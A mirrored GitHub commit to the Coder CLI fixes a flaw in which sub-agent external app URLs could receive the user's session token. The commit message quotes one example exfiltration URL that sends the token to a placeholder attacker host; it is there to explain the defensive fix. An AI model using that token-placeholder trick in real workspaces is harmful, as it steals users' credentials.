mirror of
https://github.com/coder/coder.git
synced 2026-09-01 14:53:15 +08:00
fix: prevent session token exfiltration via external app URLs (#26146)
`coder open app` substituted the user's session token into any external workspace-app URL containing `$SESSION_TOKEN` before opening, letting a malicious sub-agent exfiltrate the token via a URL like `https://attacker.example/?t=$SESSION_TOKEN`. Substitution is now restricted to URLs from top-level (template-authored) agents. Sub-agent URLs that still contain `$SESSION_TOKEN` are printed for the user to inspect and substitute manually rather than opened automatically. Sub-agent URLs without the placeholder are unaffected.
This commit is contained in:
+24
-14
@@ -39,6 +39,11 @@ func (r *RootCmd) open() *serpent.Command {
|
||||
|
||||
const vscodeDesktopName = "VS Code Desktop"
|
||||
|
||||
// externalSessionTokenPlaceholder is the literal substring in an external
|
||||
// workspace-app URL that the CLI replaces with the user's session token
|
||||
// when the app belongs to a trusted (top-level) agent.
|
||||
const externalSessionTokenPlaceholder = "$SESSION_TOKEN"
|
||||
|
||||
func (r *RootCmd) openVSCode() *serpent.Command {
|
||||
var (
|
||||
generateToken bool
|
||||
@@ -387,8 +392,13 @@ func (r *RootCmd) openApp() *serpent.Command {
|
||||
pathAppURL := strings.TrimPrefix(region.PathAppURL, baseURL.String())
|
||||
appURL := buildAppLinkURL(baseURL, ws, agt, foundApp, region.WildcardHostname, pathAppURL)
|
||||
|
||||
if foundApp.External {
|
||||
appURL = replacePlaceholderExternalSessionTokenString(client, appURL)
|
||||
externalSubAgentApp := foundApp.External && agt.ParentID.Valid
|
||||
if foundApp.External && !agt.ParentID.Valid {
|
||||
// Template-defined apps run on a top-level agent and are
|
||||
// admin-authored, so their URLs are trusted. Substitute the
|
||||
// session token placeholder so the OS open handler receives
|
||||
// a usable URL.
|
||||
appURL = strings.ReplaceAll(appURL, externalSessionTokenPlaceholder, client.SessionToken())
|
||||
}
|
||||
|
||||
// Check if we're inside a workspace. Generally, we know
|
||||
@@ -399,6 +409,18 @@ func (r *RootCmd) openApp() *serpent.Command {
|
||||
_, _ = fmt.Fprintf(inv.Stdout, "%s\n", appURL)
|
||||
return nil
|
||||
}
|
||||
|
||||
// Sub-agent external app URLs are set at runtime. Only open
|
||||
// sub-agent URLs that don't contain the placeholder to prevent
|
||||
// token exfiltration.
|
||||
if externalSubAgentApp && strings.Contains(appURL, externalSessionTokenPlaceholder) {
|
||||
cliui.Warnf(inv.Stderr,
|
||||
"This app was registered from inside the workspace rather than from the workspace template. "+
|
||||
"Inspect the URL below carefully and, if you trust the source, substitute the $SESSION_TOKEN placeholder "+
|
||||
"with your session token and manually open it:")
|
||||
_, _ = fmt.Fprintf(inv.Stdout, "%s\n", appURL)
|
||||
return nil
|
||||
}
|
||||
_, _ = fmt.Fprintf(inv.Stderr, "Opening %s\n", appURL)
|
||||
|
||||
if !testOpenError {
|
||||
@@ -664,15 +686,3 @@ func buildAppLinkURL(baseURL *url.URL, workspace codersdk.Workspace, agent coder
|
||||
}
|
||||
return u.String()
|
||||
}
|
||||
|
||||
// replacePlaceholderExternalSessionTokenString replaces any $SESSION_TOKEN
|
||||
// strings in the URL with the actual session token.
|
||||
// This is consistent behavior with the frontend. See: site/src/modules/resources/AppLink/AppLink.tsx
|
||||
func replacePlaceholderExternalSessionTokenString(client *codersdk.Client, appURL string) string {
|
||||
if !strings.Contains(appURL, "$SESSION_TOKEN") {
|
||||
return appURL
|
||||
}
|
||||
|
||||
// We will just re-use the existing session token we're already using.
|
||||
return strings.ReplaceAll(appURL, "$SESSION_TOKEN", client.SessionToken())
|
||||
}
|
||||
|
||||
+97
-2
@@ -1,7 +1,9 @@
|
||||
package cli_test
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"database/sql"
|
||||
"net/url"
|
||||
"os"
|
||||
"path"
|
||||
@@ -21,6 +23,9 @@ import (
|
||||
"github.com/coder/coder/v2/agent/agenttest"
|
||||
"github.com/coder/coder/v2/cli/clitest"
|
||||
"github.com/coder/coder/v2/coderd/coderdtest"
|
||||
"github.com/coder/coder/v2/coderd/database"
|
||||
"github.com/coder/coder/v2/coderd/database/dbfake"
|
||||
"github.com/coder/coder/v2/coderd/database/dbgen"
|
||||
"github.com/coder/coder/v2/coderd/database/dbtime"
|
||||
"github.com/coder/coder/v2/codersdk"
|
||||
"github.com/coder/coder/v2/provisionersdk/proto"
|
||||
@@ -703,14 +708,16 @@ func TestOpenApp(t *testing.T) {
|
||||
w.RequireContains("region not found")
|
||||
})
|
||||
|
||||
t.Run("ExternalAppSessionToken", func(t *testing.T) {
|
||||
t.Run("ExternalAppOnTopLevelAgentSubstitutes", func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// Apps on the top-level (template-defined) agent are trusted, so the
|
||||
// CLI substitutes $SESSION_TOKEN regardless of scheme.
|
||||
client, ws, _ := setupWorkspaceForAgent(t, func(agents []*proto.Agent) []*proto.Agent {
|
||||
agents[0].Apps = []*proto.App{
|
||||
{
|
||||
Slug: "app1",
|
||||
Url: "https://example.com/app1?token=$SESSION_TOKEN",
|
||||
Url: "vscode://coder.coder-remote/open?token=$SESSION_TOKEN",
|
||||
External: true,
|
||||
},
|
||||
}
|
||||
@@ -724,4 +731,92 @@ func TestOpenApp(t *testing.T) {
|
||||
w.RequireContains("test.open-error")
|
||||
w.RequireContains(client.SessionToken())
|
||||
})
|
||||
|
||||
t.Run("ExternalAppOnSubAgentWithPlaceholderPrintsURLAndDoesNotOpen", func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// Sub-agent app URLs are attacker-influenceable through workspace
|
||||
// configuration and runtime registration. The CLI must not
|
||||
// substitute the session token, and must not hand the URL to the
|
||||
// OS open handler. The URL is printed to stdout so a user who
|
||||
// trusts the source can substitute and open it manually.
|
||||
ownerClient, store := coderdtest.NewWithDatabase(t, nil)
|
||||
ownerClient.SetLogger(testutil.Logger(t).Named("client"))
|
||||
first := coderdtest.CreateFirstUser(t, ownerClient)
|
||||
userClient, user := coderdtest.CreateAnotherUserMutators(t, ownerClient, first.OrganizationID, nil, func(r *codersdk.CreateUserRequestWithOrgs) {
|
||||
r.Username = "subagentowner"
|
||||
})
|
||||
r := dbfake.WorkspaceBuild(t, store, database.WorkspaceTable{
|
||||
Name: "subagentws",
|
||||
OrganizationID: first.OrganizationID,
|
||||
OwnerID: user.ID,
|
||||
}).WithAgent().Do()
|
||||
|
||||
require.NotEmpty(t, r.Agents, "expected at least one workspace agent")
|
||||
mainAgent := r.Agents[0]
|
||||
|
||||
subAgent := dbgen.WorkspaceSubAgent(t, store, mainAgent, database.WorkspaceAgent{
|
||||
Name: "devcontainer",
|
||||
})
|
||||
_ = dbgen.WorkspaceApp(t, store, database.WorkspaceApp{
|
||||
AgentID: subAgent.ID,
|
||||
Slug: "subapp",
|
||||
External: true,
|
||||
Url: sql.NullString{Valid: true, String: "vscode://coder.coder-remote/open?token=$SESSION_TOKEN"},
|
||||
})
|
||||
|
||||
inv, root := clitest.New(t, "open", "app", r.Workspace.Name+".devcontainer", "subapp", "--test.open-error")
|
||||
clitest.SetupConfig(t, userClient, root)
|
||||
var stdout, stderr bytes.Buffer
|
||||
inv.Stdout = &stdout
|
||||
inv.Stderr = &stderr
|
||||
|
||||
w := clitest.StartWithWaiter(t, inv)
|
||||
w.RequireSuccess()
|
||||
require.NotContains(t, stderr.String(), "test.open-error")
|
||||
require.NotContains(t, stdout.String(), "test.open-error")
|
||||
require.Contains(t, stdout.String(), "vscode://coder.coder-remote/open?token=$SESSION_TOKEN")
|
||||
require.NotContains(t, stdout.String(), userClient.SessionToken())
|
||||
require.Contains(t, stderr.String(), "substitute")
|
||||
})
|
||||
|
||||
t.Run("ExternalAppOnSubAgentWithoutPlaceholderOpensAsIs", func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// Sub-agent app URLs that don't reference $SESSION_TOKEN carry no
|
||||
// token to leak. The CLI auto-opens them like any other external
|
||||
// app; only placeholder-bearing URLs are gated.
|
||||
ownerClient, store := coderdtest.NewWithDatabase(t, nil)
|
||||
ownerClient.SetLogger(testutil.Logger(t).Named("client"))
|
||||
first := coderdtest.CreateFirstUser(t, ownerClient)
|
||||
userClient, user := coderdtest.CreateAnotherUserMutators(t, ownerClient, first.OrganizationID, nil, func(r *codersdk.CreateUserRequestWithOrgs) {
|
||||
r.Username = "subagentowner2"
|
||||
})
|
||||
r := dbfake.WorkspaceBuild(t, store, database.WorkspaceTable{
|
||||
Name: "subagentws2",
|
||||
OrganizationID: first.OrganizationID,
|
||||
OwnerID: user.ID,
|
||||
}).WithAgent().Do()
|
||||
|
||||
require.NotEmpty(t, r.Agents, "expected at least one workspace agent")
|
||||
mainAgent := r.Agents[0]
|
||||
|
||||
subAgent := dbgen.WorkspaceSubAgent(t, store, mainAgent, database.WorkspaceAgent{
|
||||
Name: "devcontainer",
|
||||
})
|
||||
_ = dbgen.WorkspaceApp(t, store, database.WorkspaceApp{
|
||||
AgentID: subAgent.ID,
|
||||
Slug: "subapp",
|
||||
External: true,
|
||||
Url: sql.NullString{Valid: true, String: "https://example.com/some/path"},
|
||||
})
|
||||
|
||||
inv, root := clitest.New(t, "open", "app", r.Workspace.Name+".devcontainer", "subapp", "--test.open-error")
|
||||
clitest.SetupConfig(t, userClient, root)
|
||||
|
||||
w := clitest.StartWithWaiter(t, inv)
|
||||
w.RequireError()
|
||||
w.RequireContains("test.open-error")
|
||||
w.RequireContains("https://example.com/some/path")
|
||||
})
|
||||
}
|
||||
|
||||
@@ -247,27 +247,6 @@ Standard dev container variables are also available:
|
||||
| `${containerWorkspaceFolder}` | Workspace folder path inside the container |
|
||||
| `${localWorkspaceFolder}` | Workspace folder path on the host |
|
||||
|
||||
### Session token
|
||||
|
||||
Use `$SESSION_TOKEN` in external app URLs to include the user's session token:
|
||||
|
||||
```json
|
||||
{
|
||||
"customizations": {
|
||||
"coder": {
|
||||
"apps": [
|
||||
{
|
||||
"slug": "custom-ide",
|
||||
"displayName": "Custom IDE",
|
||||
"url": "custom-ide://open?token=$SESSION_TOKEN&folder=${containerWorkspaceFolder}",
|
||||
"external": true
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Feature options as environment variables
|
||||
|
||||
When your dev container uses features, Coder exposes feature options as
|
||||
|
||||
Reference in New Issue
Block a user